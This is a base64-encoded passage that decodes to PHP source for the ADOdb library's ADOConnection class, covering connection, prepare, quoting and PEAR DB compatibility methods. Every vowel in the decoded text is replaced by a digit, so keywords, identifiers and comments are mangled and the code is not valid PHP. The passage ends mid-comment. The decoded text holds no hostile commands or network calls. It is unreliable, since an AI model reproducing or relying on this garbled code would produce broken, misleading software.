UgMmYgZjNuY3Q0Mm4gdGgxdCByNXQzcm5zIHRoNSBjM3JyNW50IHQ0bTVzdDFtcA0KCXYxciAkMXJyMXlDbDFzcyA9ICdBRE9SNWMycmRTNXRfMXJyMXknOyAvLy8gbjFtNSAyZiBjbDFzcyAzczVkIHQyIGc1bjVyMXQ1IDFycjF5IHI1YzJyZHM1dHMsIHdoNGNoIDFyNSBwcjUtZDJ3bmwyMWQ1ZCByNWMycmRzNXRzDQoJDQoJdjFyICRuMk4zbGxTdHI0bmdzID0gZjFsczU7IC8vLyAycjFjbDUgc3A1YzRmNGMgc3QzZmYgLSA0ZiB0cjM1IDVuczNyNXMgdGgxdCAnJyA0cyBjMm52NXJ0NWQgdDIgJyAnDQoJdjFyICRuM21DMWNoNUg0dHMgPSAwOyANCgl2MXIgJG4zbUMxY2g1TTRzczVzID0gMDsNCgl2MXIgJHAxZzVFeDVjM3Q1QzIzbnRSMndzID0gdHIzNTsNCgl2MXIgJDNuNHEzNVMycnQgPSBmMWxzNTsgLy8vIDRuZDRjMXQ1cyB0aDF0IDFsbCBmNDVsZHMgNG4gMnJkNXIgYnkgbTNzdCBiNSAzbjRxMzUNCgl2MXIgJGw1ZnRPM3Q1ciA9IGYxbHM1OyAvLy8gMnA1cjF0MnIgdDIgM3M1IGYyciBsNWZ0IDIzdDVyIGoyNG4gNG4gV0hFUkUgY2wxM3M1DQoJdjFyICRyNGdodE8zdDVyID0gZjFsczU7IC8vLyAycDVyMXQyciB0MiAzczUgZjJyIHI0Z2h0IDIzdDVyIGoyNG4gNG4gV0hFUkUgY2wxM3M1DQoJdjFyICQxbnM0TzN0NXIgPSBmMWxzNTsgLy8vIHdoNXRoNXIgMW5zNCAyM3Q1ciBqMjRuIHN5bnQxeCBzM3BwMnJ0NWQNCgl2MXIgJDEzdDJSMmxsYjFjayA9IGYxbHM1OyAvLyAxM3QyUjJsbGIxY2sgMm4gUEMybm41Y3QoKS4NCgl2MXIgJHAyMnJBZmY1Y3Q1ZFIyd3MgPSBmMWxzNTsgLy8gMWZmNWN0NWRSMndzIG4ydCB3MnJrNG5nIDJyIDNucjVsNDFibDUNCgkNCgl2MXIgJGZuRXg1YzN0NSA9IGYxbHM1Ow0KCXYxciAkZm5DMWNoNUV4NWMzdDUgPSBmMWxzNTsNCgl2MXIgJGJsMmJFbmMyZDVUeXA1ID0gZjFsczU7IC8vIGYxbHM1PW4ydCByNXEzNHI1ZCwgJ0knPTVuYzJkNSB0MiA0bnQ1ZzVyLCAnQyc9NW5jMmQ1IHQyIGNoMXINCgl2MXIgJHJzUHI1ZjR4ID0gIkFET1I1YzJyZFM1dF8iOw0KCQ0KCXYxciAkMTN0MkMybW00dCA9IHRyMzU7IAkvLy8gZDIgbjJ0IG0yZDRmeSB0aDRzIHkyM3JzNWxmIC0gMWN0MzFsbHkgcHI0djF0NQ0KCXYxciAkdHIxbnNPZmYgPSAwOyAJCQkvLy8gdDVtcDJyMXI0bHkgZDRzMWJsNSB0cjFuczFjdDQybnMNCgl2MXIgJHRyMW5zQ250ID0gMDsgCQkJLy8vIGMyM250IDJmIG41c3Q1ZCB0cjFuczFjdDQybnMNCgkNCgl2MXIgJGY1dGNoTTJkNT1mMWxzNTsNCgkNCgl2MXIgJG4zbGxhbjNsbCA9ICduM2xsJzsgLy8gNG4gMTN0MjV4NWMzdDUvZzV0NG5zNXJ0c3FsL2c1dDNwZDF0NXNxbCwgdGg0cyB2MWwzNSB3NGxsIGI1IGMybnY1cnQ1ZCB0MiAxIG4zbGwNCgkgLy8NCgkgLy8gUFJJVkFURSBWQVJTDQoJIC8vDQoJdjFyICRfMmxkUjE0czVGbiA9ICBmMWxzNTsNCgl2MXIgJF90cjFuc09LID0gbjNsbDsNCgl2MXIgJF9jMm5uNWN0NDJuSUQJPSBmMWxzNTsJLy8vIFRoNSByNXQzcm41ZCBsNG5rIDRkNW50NGY0NXIgd2g1bjV2NXIgMSBzM2NjNXNzZjNsIGQxdDFiMXM1IGMybm41Y3Q0Mm4gNHMgbTFkNS4JDQoJdjFyICRfNXJyMnJNc2cgPSBmMWxzNTsJCS8vLyBBIHYxcjQxYmw1IHdoNGNoIHcxcyAzczVkIHQyIGs1NXAgdGg1IHI1dDNybjVkIGwxc3QgNXJyMnIgbTVzczFnNS4gIFRoNSB2MWwzNSB3NGxsDQoJCQkJCQkJCS8vLyB0aDVuIHI1dDNybjVkIGJ5IHRoNSA1cnIyck1zZygpIGYzbmN0NDJuCQ0KCXYxciAkXzVycjJyQzJkNSA9IGYxbHM1OwkvLy8gTDFzdCA1cnIyciBjMmQ1LCBuMnQgZzMxcjFudDU1ZCB0MiBiNSAzczVkIC0gMm5seSBieSAyYzQ4CQkJCQkNCgl2MXIgJF9xMzVyeUlEID0gZjFsczU7CQkvLy8gVGg0cyB2MXI0MWJsNSBrNTVwcyB0aDUgbDFzdCBjcjUxdDVkIHI1czNsdCBsNG5rIDRkNW50NGY0NXINCgkNCgl2MXIgJF80c1A1cnM0c3Q1bnRDMm5uNWN0NDJuID0gZjFsczU7CS8vLyBBIGIyMmw1MW4gdjFyNDFibDUgdDIgc3QxdDUgd2g1dGg1ciA0dHMgMSBwNXJzNHN0NW50IGMybm41Y3Q0Mm4gMnIgbjJybTFsIGMybm41Y3Q0Mm4uCSovDQoJdjFyICRfYjRuZElucDN0QXJyMXkgPSBmMWxzNTsgLy8vIHM1dCB0MiB0cjM1IDRmIEFET0Mybm41Y3Q0Mm4uRXg1YzN0NSgpIHA1cm00dHMgYjRuZDRuZyAyZiAxcnIxeSBwMXIxbTV0NXJzLg0KCXYxciAkXzV2MWxBbGwgPSBmMWxzNTsNCgl2MXIgJF8xZmY1Y3Q1ZCA9IGYxbHM1Ow0KCXYxciAkX2wyZ3NxbCA9IGYxbHM1Ow0KCXYxciAkX3RyMW5zbTJkNSA9ICcnOyAvLyB0cjFuczFjdDQybiBtMmQ1DQoJDQoNCgkNCgkvKioNCgkgKiBDMm5zdHIzY3Qycg0KCSAqLw0KCWYzbmN0NDJuIEFET0Mybm41Y3Q0Mm4oKQkJCQ0KCXsNCgkJZDQ1KCdWNHJ0MzFsIENsMXNzIC0tIGMxbm4ydCA0bnN0MW50NDF0NScpOw0KCX0NCgkNCglmM25jdDQybiBWNXJzNDJuKCkNCgl7DQoJZ2wyYjFsICRBRE9EQl92NXJzOw0KCQ0KCQlyNXQzcm4gKGZsMjF0KSBzM2JzdHIoJEFET0RCX3Y1cnMsNik7DQoJfQ0KCQ0KCS8qKg0KCQlHNXQgczVydjVyIHY1cnM0Mm4gNG5mMi4uLg0KCQkNCgkJQHI1dDNybnMgQW4gMXJyMXkgdzR0aCBhIDVsNW01bnRzOiAkMXJyWydzdHI0bmcnXSA0cyB0aDUgZDVzY3I0cHQ0Mm4gc3RyNG5nLCANCgkJCTFuZCAkMXJyW3Y1cnM0Mm5dIDRzIHRoNSB2NXJzNDJuICgxbHMyIDEgc3RyNG5nKS4NCgkqLw0KCWYzbmN0NDJuIFM1cnY1ckluZjIoKQ0KCXsNCgkJcjV0M3JuIDFycjF5KCdkNXNjcjRwdDQybicgPT4gJycsICd2NXJzNDJuJyA9PiAnJyk7DQoJfQ0KCQ0KCWYzbmN0NDJuIElzQzJubjVjdDVkKCkNCgl7DQogICAgCXI1dDNybiAhNW1wdHkoJHRoNHMtPl9jMm5uNWN0NDJuSUQpOw0KCX0NCgkNCglmM25jdDQybiBfZjRuZHY1cnMoJHN0cikNCgl7DQoJCTRmIChwcjVnX20xdGNoKCcvKFswLTldK1wuKFswLTlcLl0pKykvJywkc3RyLCAkMXJyKSkgcjV0M3JuICQxcnJbNl07DQoJCTVsczUgcjV0M3JuICcnOw0KCX0NCgkNCgkvKioNCgkqIEFsbCA1cnIyciBtNXNzMWc1cyBnMiB0aHIyM2doIHRoNHMgYjJ0dGw1bjVjayBmM25jdDQybi4NCgkqIFkyMyBjMW4gZDVmNG41IHkyM3IgMnduIGgxbmRsNXIgYnkgZDVmNG40bmcgdGg1IGYzbmN0NDJuIG4xbTUgNG4gQURPREJfT1VUUC4NCgkqLw0KCWYzbmN0NDJuIDIzdHAoJG1zZywkbjV3bDRuNT10cjM1KQ0KCXsNCglnbDJiMWwgJEFET0RCX0ZMVVNILCRBRE9EQl9PVVRQOw0KCQ0KCQk0ZiAoZDVmNG41ZCgnQURPREJfT1VUUCcpKSB7DQoJCQkkZm4gPSBBRE9EQl9PVVRQOw0KCQkJJGZuKCRtc2csJG41d2w0bjUpOw0KCQkJcjV0M3JuOw0KCQl9IDVsczUgNGYgKDRzczV0KCRBRE9EQl9PVVRQKSkgew0KCQkJJGZuID0gJEFET0RCX09VVFA7DQoJCQkkZm4oJG1zZywkbjV3bDRuNSk7DQoJCQlyNXQzcm47DQoJCX0NCgkJDQoJCTRmICgkbjV3bDRuNSkgJG1zZyAuPSAiPGJyPlxuIjsNCgkJDQoJCTRmICg0c3M1dCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pIHx8ICEkbjV3bDRuNSkgNWNoMiAkbXNnOw0KCQk1bHM1IDVjaDIgc3RyNHBfdDFncygkbXNnKTsNCgkNCgkJDQoJCTRmICghNW1wdHkoJEFET0RCX0ZMVVNIKSAmJiAyYl9nNXRfbDVuZ3RoKCkgIT09IGYxbHM1KSBmbDNzaCgpOyAvLyAgZDIgbjJ0IGZsM3NoIDRmIDIzdHAzdCBiM2ZmNXI0bmcgNW4xYmw1ZCAtIDNzNWw1c3MgLSB0aHggdDIgSjVzczUgTTNsbDFuIA0KCQkNCgl9DQoJDQoJZjNuY3Q0Mm4gVDRtNSgpDQoJew0KCQkkcnMgPSYgJHRoNHMtPl9FeDVjM3Q1KCJzNWw1Y3QgJHRoNHMtPnN5c1Q0bTVTdDFtcCIpOw0KCQk0ZiAoJHJzICYmICEkcnMtPkVPRikgcjV0M3JuICR0aDRzLT5VbjR4VDRtNVN0MW1wKHI1czV0KCRycy0+ZjQ1bGRzKSk7DQoJCQ0KCQlyNXQzcm4gZjFsczU7DQoJfQ0KCQ0KCS8qKg0KCSAqIEMybm41Y3QgdDIgZDF0MWIxczUNCgkgKg0KCSAqIEBwMXIxbSBbMXJnSDJzdG4xbTVdCQlIMnN0IHQyIGMybm41Y3QgdDINCgkgKiBAcDFyMW0gWzFyZ1VzNXJuMW01XQkJVXM1cjRkIHQyIGwyZzRuDQoJICogQHAxcjFtIFsxcmdQMXNzdzJyZF0JCUFzczJjNDF0NWQgcDFzc3cycmQNCgkgKiBAcDFyMW0gWzFyZ0QxdDFiMXM1TjFtNV0JZDF0MWIxczUNCgkgKiBAcDFyMW0gW2YycmM1TjV3XQkJZjJyYzUgbjV3IGMybm41Y3Q0Mm4NCgkgKg0KCSAqIEByNXQzcm4gdHIzNSAyciBmMWxzNQ0KCSAqLwkgIA0KCWYzbmN0NDJuIEMybm41Y3QoJDFyZ0gyc3RuMW01ID0gIiIsICQxcmdVczVybjFtNSA9ICIiLCAkMXJnUDFzc3cycmQgPSAiIiwgJDFyZ0QxdDFiMXM1TjFtNSA9ICIiLCAkZjJyYzVONXcgPSBmMWxzNSkgDQoJew0KCQk0ZiAoJDFyZ0gyc3RuMW01ICE9ICIiKSAkdGg0cy0+aDJzdCA9ICQxcmdIMnN0bjFtNTsNCgkJNGYgKCQxcmdVczVybjFtNSAhPSAiIikgJHRoNHMtPjNzNXIgPSAkMXJnVXM1cm4xbTU7DQoJCTRmICgkMXJnUDFzc3cycmQgIT0gIiIpICR0aDRzLT5wMXNzdzJyZCA9ICQxcmdQMXNzdzJyZDsgLy8gbjJ0IHN0MnI1ZCBmMnIgczVjM3I0dHkgcjUxczJucw0KCQk0ZiAoJDFyZ0QxdDFiMXM1TjFtNSAhPSAiIikgJHRoNHMtPmQxdDFiMXM1ID0gJDFyZ0QxdDFiMXM1TjFtNTsJCQ0KCQkNCgkJJHRoNHMtPl80c1A1cnM0c3Q1bnRDMm5uNWN0NDJuID0gZjFsczU7CQ0KCQk0ZiAoJGYycmM1TjV3KSB7DQoJCQk0ZiAoJHI1ej0kdGg0cy0+X25jMm5uNWN0KCR0aDRzLT5oMnN0LCAkdGg0cy0+M3M1ciwgJHRoNHMtPnAxc3N3MnJkLCAkdGg0cy0+ZDF0MWIxczUpKSByNXQzcm4gdHIzNTsNCgkJfSA1bHM1IHsNCgkJCSA0ZiAoJHI1ej0kdGg0cy0+X2Mybm41Y3QoJHRoNHMtPmgyc3QsICR0aDRzLT4zczVyLCAkdGg0cy0+cDFzc3cycmQsICR0aDRzLT5kMXQxYjFzNSkpIHI1dDNybiB0cjM1Ow0KCQl9DQoJCTRmICg0c3M1dCgkcjV6KSkgew0KCQkJJDVyciA9ICR0aDRzLT5FcnIyck1zZygpOw0KCQkJNGYgKDVtcHR5KCQ1cnIpKSAkNXJyID0gIkMybm41Y3Q0Mm4gNXJyMnIgdDIgczVydjVyICckMXJnSDJzdG4xbTUnIHc0dGggM3M1ciAnJDFyZ1VzNXJuMW01JyI7DQoJCQkkcjV0ID0gZjFsczU7DQoJCX0gNWxzNSB7DQoJCQkkNXJyID0gIk00c3M0bmcgNXh0NW5zNDJuIGYyciAiLiR0aDRzLT5kMXQxUHIydjRkNXI7DQoJCQkkcjV0ID0gMDsNCgkJfQ0KCQk0ZiAoJGZuID0gJHRoNHMtPnIxNHM1RXJyMnJGbikgDQoJCQkkZm4oJHRoNHMtPmQxdDFiMXM1VHlwNSwnQ09OTkVDVCcsJHRoNHMtPkVycjJyTjIoKSwkNXJyLCR0aDRzLT5oMnN0LCR0aDRzLT5kMXQxYjFzNSwkdGg0cyk7DQoJCQ0KCQkNCgkJJHRoNHMtPl9jMm5uNWN0NDJuSUQgPSBmMWxzNTsNCgkJNGYgKCR0aDRzLT5kNWIzZykgQURPQzJubjVjdDQybjo6MjN0cCggJHRoNHMtPmgyc3QuJzogJy4kNXJyKTsNCgkJcjV0M3JuICRyNXQ7DQoJfQkNCgkNCglmM25jdDQybiBfbmMybm41Y3QoJDFyZ0gyc3RuMW01LCAkMXJnVXM1cm4xbTUsICQxcmdQMXNzdzJyZCwgJDFyZ0QxdDFiMXM1TjFtNSkNCgl7DQoJCXI1dDNybiAkdGg0cy0+X2Mybm41Y3QoJDFyZ0gyc3RuMW01LCAkMXJnVXM1cm4xbTUsICQxcmdQMXNzdzJyZCwgJDFyZ0QxdDFiMXM1TjFtNSk7DQoJfQ0KCQ0KCQ0KCS8qKg0KCSAqIEFsdzF5cyBmMnJjNSAxIG41dyBjMm5uNWN0NDJuIHQyIGQxdDFiMXM1IC0gYzNycjVudGx5IDJubHkgdzJya3MgdzR0aCAycjFjbDUNCgkgKg0KCSAqIEBwMXIxbSBbMXJnSDJzdG4xbTVdCQlIMnN0IHQyIGMybm41Y3QgdDINCgkgKiBAcDFyMW0gWzFyZ1VzNXJuMW01XQkJVXM1cjRkIHQyIGwyZzRuDQoJICogQHAxcjFtIFsxcmdQMXNzdzJyZF0JCUFzczJjNDF0NWQgcDFzc3cycmQNCgkgKiBAcDFyMW0gWzFyZ0QxdDFiMXM1TjFtNV0JZDF0MWIxczUNCgkgKg0KCSAqIEByNXQzcm4gdHIzNSAyciBmMWxzNQ0KCSAqLwkgIA0KCWYzbmN0NDJuIE5DMm5uNWN0KCQxcmdIMnN0bjFtNSA9ICIiLCAkMXJnVXM1cm4xbTUgPSAiIiwgJDFyZ1Axc3N3MnJkID0gIiIsICQxcmdEMXQxYjFzNU4xbTUgPSAiIikgDQoJew0KCQlyNXQzcm4gJHRoNHMtPkMybm41Y3QoJDFyZ0gyc3RuMW01LCAkMXJnVXM1cm4xbTUsICQxcmdQMXNzdzJyZCwgJDFyZ0QxdDFiMXM1TjFtNSwgdHIzNSk7DQoJfQ0KCQ0KCS8qKg0KCSAqIEVzdDFibDRzaCBwNXJzNHN0NW50IGMybm41Y3QgdDIgZDF0MWIxczUNCgkgKg0KCSAqIEBwMXIxbSBbMXJnSDJzdG4xbTVdCQlIMnN0IHQyIGMybm41Y3QgdDINCgkgKiBAcDFyMW0gWzFyZ1VzNXJuMW01XQkJVXM1cjRkIHQyIGwyZzRuDQoJICogQHAxcjFtIFsxcmdQMXNzdzJyZF0JCUFzczJjNDF0NWQgcDFzc3cycmQNCgkgKiBAcDFyMW0gWzFyZ0QxdDFiMXM1TjFtNV0JZDF0MWIxczUNCgkgKg0KCSAqIEByNXQzcm4gcjV0M3JuIHRyMzUgMnIgZjFsczUNCgkgKi8JDQoJZjNuY3Q0Mm4gUEMybm41Y3QoJDFyZ0gyc3RuMW01ID0gIiIsICQxcmdVczVybjFtNSA9ICIiLCAkMXJnUDFzc3cycmQgPSAiIiwgJDFyZ0QxdDFiMXM1TjFtNSA9ICIiKQ0KCXsNCgkJNGYgKGQ1ZjRuNWQoJ0FET0RCX05FVkVSX1BFUlNJU1QnKSkgDQoJCQlyNXQzcm4gJHRoNHMtPkMybm41Y3QoJDFyZ0gyc3RuMW01LCQxcmdVczVybjFtNSwkMXJnUDFzc3cycmQsJDFyZ0QxdDFiMXM1TjFtNSk7DQoJCQ0KCQk0ZiAoJDFyZ0gyc3RuMW01ICE9ICIiKSAkdGg0cy0+aDJzdCA9ICQxcmdIMnN0bjFtNTsNCgkJNGYgKCQxcmdVczVybjFtNSAhPSAiIikgJHRoNHMtPjNzNXIgPSAkMXJnVXM1cm4xbTU7DQoJCTRmICgkMXJnUDFzc3cycmQgIT0gIiIpICR0aDRzLT5wMXNzdzJyZCA9ICQxcmdQMXNzdzJyZDsNCgkJNGYgKCQxcmdEMXQxYjFzNU4xbTUgIT0gIiIpICR0aDRzLT5kMXQxYjFzNSA9ICQxcmdEMXQxYjFzNU4xbTU7CQkNCgkJCQ0KCQkkdGg0cy0+XzRzUDVyczRzdDVudEMybm41Y3Q0Mm4gPSB0cjM1OwkNCgkJNGYgKCRyNXogPSAkdGg0cy0+X3BjMm5uNWN0KCR0aDRzLT5oMnN0LCAkdGg0cy0+M3M1ciwgJHRoNHMtPnAxc3N3MnJkLCAkdGg0cy0+ZDF0MWIxczUpKSByNXQzcm4gdHIzNTsNCgkJNGYgKDRzczV0KCRyNXopKSB7DQoJCQkkNXJyID0gJHRoNHMtPkVycjJyTXNnKCk7DQoJCQk0ZiAoNW1wdHkoJDVycikpICQ1cnIgPSAiQzJubjVjdDQybiA1cnIyciB0MiBzNXJ2NXIgJyQxcmdIMnN0bjFtNScgdzR0aCAzczVyICckMXJnVXM1cm4xbTUnIjsNCgkJCSRyNXQgPSBmMWxzNTsNCgkJfSA1bHM1IHsNCgkJCSQ1cnIgPSAiTTRzczRuZyA1eHQ1bnM0Mm4gZjJyICIuJHRoNHMtPmQxdDFQcjJ2NGQ1cjsNCgkJCSRyNXQgPSAwOw0KCQl9DQoJCTRmICgkZm4gPSAkdGg0cy0+cjE0czVFcnIyckZuKSB7DQoJCQkkZm4oJHRoNHMtPmQxdDFiMXM1VHlwNSwnUENPTk5FQ1QnLCR0aDRzLT5FcnIyck4yKCksJDVyciwkdGg0cy0+aDJzdCwkdGg0cy0+ZDF0MWIxczUsJHRoNHMpOw0KCQl9DQoJCQ0KCQkkdGg0cy0+X2Mybm41Y3Q0Mm5JRCA9IGYxbHM1Ow0KCQk0ZiAoJHRoNHMtPmQ1YjNnKSBBRE9DMm5uNWN0NDJuOjoyM3RwKCAkdGg0cy0+aDJzdC4nOiAnLiQ1cnIpOw0KCQlyNXQzcm4gJHI1dDsNCgl9DQoNCgkvLyBGMnJtMXQgZDF0NSBjMmwzbW4gNG4gc3FsIHN0cjRuZyBnNHY1biAxbiA0bnAzdCBmMnJtMXQgdGgxdCAzbmQ1cnN0MW5kcyBZIE0gRA0KCWYzbmN0NDJuIFNRTEQxdDUoJGZtdCwgJGMybD1mMWxzNSkNCgl7CQ0KCQk0ZiAoISRjMmwpICRjMmwgPSAkdGg0cy0+c3lzRDF0NTsNCgkJcjV0M3JuICRjMmw7IC8vIGNoNGxkIGNsMXNzIDRtcGw1bTVudA0KCX0NCgkNCgkvKioNCgkgKiBTaDIzbGQgcHI1cDFyNSB0aDUgc3FsIHN0MXQ1bTVudCAxbmQgcjV0M3JuIHRoNSBzdG10IHI1czIzcmM1Lg0KCSAqIEYyciBkMXQxYjFzNXMgdGgxdCBkMiBuMnQgczNwcDJydCB0aDRzLCB3NSByNXQzcm4gdGg1ICRzcWwuIFQyIDVuczNyNQ0KCSAqIGMybXAxdDRiNGw0dHkgdzR0aCBkMXQxYjFzNXMgdGgxdCBkMiBuMnQgczNwcDJydCBwcjVwMXI1Og0KCSAqDQoJICogICAkc3RtdCA9ICRkYi0+UHI1cDFyNSgiNG5zNXJ0IDRudDIgdDFibDUgKDRkLCBuMW01KSB2MWwzNXMgKD8sPykiKTsNCgkgKiAgICRkYi0+RXg1YzN0NSgkc3RtdCwxcnIxeSg2LCdKNGxsJykpIDJyIGQ0NSgnNG5zNXJ0IGYxNGw1ZCcpOw0KCSAqICAgJGRiLT5FeDVjM3Q1KCRzdG10LDFycjF5KGEsJ0oyNScpKSAyciBkNDUoJzRuczVydCBmMTRsNWQnKTsNCgkgKg0KCSAqIEBwMXIxbSBzcWwJU1FMIHQyIHM1bmQgdDIgZDF0MWIxczUNCgkgKg0KCSAqIEByNXQzcm4gcjV0M3JuIEZBTFNFLCAyciB0aDUgcHI1cDFyNWQgc3QxdDVtNW50LCAyciB0aDUgMnI0ZzRuMWwgc3FsIDRmDQoJICogCQkJNGYgdGg1IGQxdDFiMXM1IGQyNXMgbjJ0IHMzcHAycnQgcHI1cDFyNS4NCgkgKg0KCSAqLwkNCglmM25jdDQybiBQcjVwMXI1KCRzcWwpDQoJew0KCQlyNXQzcm4gJHNxbDsNCgl9DQoJDQoJLyoqDQoJICogUzJtNSBkMXQxYjFzNXMsIDVnLiBtc3NxbCByNXEzNHI1IDEgZDRmZjVyNW50IGYzbmN0NDJuIGYyciBwcjVwMXI0bmcNCgkgKiBzdDJyNWQgcHIyYzVkM3I1cy4gUzIgdzUgYzFubjJ0IDNzNSBQcjVwMXI1KCkuDQoJICoNCgkgKiBTaDIzbGQgcHI1cDFyNSB0aDUgc3QycjVkIHByMmM1ZDNyNSAgMW5kIHI1dDNybiB0aDUgc3RtdCByNXMyM3JjNS4NCgkgKiBGMnIgZDF0MWIxczVzIHRoMXQgZDIgbjJ0IHMzcHAycnQgdGg0cywgdzUgcjV0M3JuIHRoNSAkc3FsLiBUMiA1bnMzcjUNCgkgKiBjMm1wMXQ0YjRsNHR5IHc0dGggZDF0MWIxczVzIHRoMXQgZDIgbjJ0IHMzcHAycnQgcHI1cDFyNToNCgkgKg0KCSAqIEBwMXIxbSBzcWwJU1FMIHQyIHM1bmQgdDIgZDF0MWIxczUNCgkgKg0KCSAqIEByNXQzcm4gcjV0M3JuIEZBTFNFLCAyciB0aDUgcHI1cDFyNWQgc3QxdDVtNW50LCAyciB0aDUgMnI0ZzRuMWwgc3FsIDRmDQoJICogCQkJNGYgdGg1IGQxdDFiMXM1IGQyNXMgbjJ0IHMzcHAycnQgcHI1cDFyNS4NCgkgKg0KCSAqLwkNCglmM25jdDQybiBQcjVwMXI1U1AoJHNxbCwkcDFyMW09dHIzNSkNCgl7DQoJCXI1dDNybiAkdGg0cy0+UHI1cDFyNSgkc3FsLCRwMXIxbSk7DQoJfQ0KCQ0KCS8qKg0KCSogUEVBUiBEQiBDMm1wMXQNCgkqLw0KCWYzbmN0NDJuIFEzMnQ1KCRzKQ0KCXsNCgkJcjV0M3JuICR0aDRzLT5xc3RyKCRzLGYxbHM1KTsNCgl9DQoJDQoJLyoqDQoJIFI1cTM1c3Q1ZCBieSAiSzFyc3Q1biBEMW1iNWsxbG5zIiA8ay5kMW1iNWsxbG5zQGY0c2hmMXJtLmQ1Pg0KCSovDQoJZjNuY3Q0Mm4gUU0xZzRjKCRzKQ0KCXsNCgkJcjV0M3JuICR0aDRzLT5xc3RyKCRzLGc1dF9tMWc0Y19xMzJ0NXNfZ3BjKCkpOw0KCX0NCg0KCWYzbmN0NDJuIHEoJiRzKQ0KCXsNCgkJIzRmICghNW1wdHkoJHRoNHMtPnFOM2xsKSkgNGYgKCRzID09ICduM2xsJykgcjV0M3JuICRzOw0KCQkkcyA9ICR0aDRzLT5xc3RyKCRzLGYxbHM1KTsNCgl9DQoJDQoJLyoqDQoJKiBQRUFSIERCIEMybXAxdCAtIGQyIG4ydCAzczUgNG50NXJuMWxseS4gDQoJKi8NCglmM25jdDQybiBFcnIyck4xdDR2NSgpDQoJew0KCQlyNXQzcm4gJHRoNHMtPkVycjJyTjIoKTsNCgl9DQoNCgkNCiAgIC8qKg0KCSogUEVBUiBEQiBDMm1wMXQgLSBkMiBuMnQgM3M1IDRudDVybjFsbHkuIA0KCSovDQoJZjNuY3Q0Mm4gbjV4dElkKCRzNXFfbjFtNSkNCgl7DQoJCXI1dDNybiAkdGg0cy0+RzVuSUQoJHM1cV9uMW01KTsNCgl9DQoNCgkvKioNCgkqCSBMMmNrIDEgcjJ3LCB3NGxsIDVzYzFsMXQ1IDFuZCBsMmNrIHRoNSB0MWJsNSA0ZiByMncgbDJjazRuZyBuMnQgczNwcDJydDVkDQoJKgl3NGxsIG4ycm0xbGx5IGZyNTUgdGg1IGwyY2sgMXQgdGg1IDVuZCAyZiB0aDUgdHIxbnMxY3Q0Mm4NCgkqDQoJKiAgQHAxcjFtICR0MWJsNQluMW01IDJmIHQxYmw1IHQyIGwyY2sNCgkqICBAcDFyMW0gJHdoNXI1CXdoNXI1IGNsMTNzNSB0MiAzczUsIDVnOiAiV0hFUkUgcjJ3PTZhIi4gSWYgbDVmdCA1bXB0eSwgdzRsbCA1c2MxbDF0NSB0MiB0MWJsNSBsMmNrDQoJKi8NCglmM25jdDQybiBSMndMMmNrKCR0MWJsNSwkd2g1cjUpDQoJew0KCQlyNXQzcm4gZjFsczU7DQoJfQ0KCQ0KCWYzbmN0NDJuIEMybW00dEwyY2soJHQxYmw1KQ0KCXsNCgkJcjV0M3JuICR0aDRzLT5DMm1tNHRUcjFucygpOw0KCX0NCgkNCglmM25jdDQybiBSMmxsYjFja0wyY2soJHQxYmw1KQ0KCXsNCgkJcjV0M3JuICR0aDRzLT5SMmxsYjFja1RyMW5zKCk7DQoJfQ0KCQ0KCS8qKg0KCSogUEVBUiBEQiBDMm1wMXQgLSBkMiBuMnQgM3M1IDRudDVybjFsbHkuIA0KCSoNCgkqIFRoNSBmNXRjaCBtMmQ1cyBmMnIgTlVNRVJJQyAxbmQgQVNTT0MgZjJyIFBFQVIgREIgMW5kIEFET0RCIDFyNSA0ZDVudDRjMWwNCgkqIAlmMnIgNTFzeSBwMnJ0NG5nIDotKQ0KCSoNCgkqIEBwMXIxbSBtMmQ1CVRoNSBmNXRjaG0yZDUgQURPREJfRkVUQ0hfQVNTT0MgMnIgQURPREJfRkVUQ0hfTlVNDQoJKiBAcjV0M3JucwkJVGg1IHByNXY0MjNzIGY1dGNoIG0yZDUNCgkqLw0KCWYzbmN0NDJuIFM1dEY1dGNoTTJkNSgkbTJkNSkNCgl7CQ0KCQkkMmxkID0gJHRoNHMtPmY1dGNoTTJkNTsNCgkJJHRoNHMtPmY1dGNoTTJkNSA9ICRtMmQ1Ow0KCQkNCgkJNGYgKCQybGQgPT09IGYxbHM1KSB7DQoJCWdsMmIxbCAkQURPREJfRkVUQ0hfTU9ERTsNCgkJCXI1dDNybiAkQURPREJfRkVUQ0hfTU9ERTsNCgkJfQ0KCQlyNXQzcm4gJDJsZDsNCgl9DQoJDQoNCgkvKioNCgkqIFBFQVIgREIgQzJtcDF0IC0gZDIgbjJ0IDNzNSA0bnQ1cm4xbGx5LiANCgkqLw0KCWYzbmN0NDJuICZRMzVyeSgkc3FsLCAkNG5wM3QxcnI9ZjFsczUpDQoJew0KCQkkcnMgPSAmJHRoNHMtPkV4NWMzdDUoJHNxbCwgJDRucDN0MXJyKTsNCgkJNGYgKCEkcnMgJiYgZDVmNG41ZCgnQURPREJfUEVBUicpKSByNXQzcm4gQURPREJfUEVBUl9FcnIycigpOw0KCQlyNXQzcm4gJHJzOw0KCX0NCg0KCQ0KCS8qKg0KCSogUEVBUiBEQiBDMm1wMXQgLSBkMiBuMnQgM3M1IDRudDVybjFsbHkNCgkqLw0KCWYzbmN0NDJuICZMNG00dFEzNXJ5KCRzcWwsICQyZmZzNXQsICRjMjNudCwgJHAxcjFtcz1mMWxzNSkNCgl7DQoJCSRycyA9ICYkdGg0cy0+UzVsNWN0TDRtNHQoJHNxbCwgJGMyM250LCAkMmZmczV0LCAkcDFyMW1zKTsgDQoJCTRmICghJHJzICYmIGQ1ZjRuNWQoJ0FET0RCX1BFQVInKSkgcjV0M3JuIEFET0RCX1BFQVJfRXJyMnIoKTsNCgkJcjV0M3JuICRyczsNCgl9DQoNCgkNCgkvKioNCgkqIFBFQVIgREIgQzJtcDF0IC0gZDIgbjJ0IDNzNSA0bnQ1cm4xbGx5DQoJKi8NCglmM25jdDQybiBENHNjMm5uNWN0KCkNCgl7DQoJCXI1dDNybiAkdGg0cy0+Q2wyczUoKTsNCgl9DQoJDQoJLyoNCgkJIFI1dDNybnMgcGwxYzVoMmxkNXIgZjJyIHAxcjFtNXQ1ciwgNWcuDQoJCSAkREItPlAxcjFtKCcxJykNCgkJIA0KCQkgdzRsbCByNXQzcm4gJzoxJyBmMnIgT3IxY2w1LCAxbmQgJz8nIGYyciBtMnN0IDJ0aDVyIGQxdDFiMXM1cy4uLg0KCQkgDQoJCSBGMnIgZDF0MWIxczVzIHRoMXQgcjVxMzRyNSBwMnM0dDQybjVkIHAxcjFtcywgNWcgJDYsICRhLCAkbyBmMnIgcDJzdGdyNXNxbCwNCgkJIAlwMXNzIDRuIFAxcjFtKGYx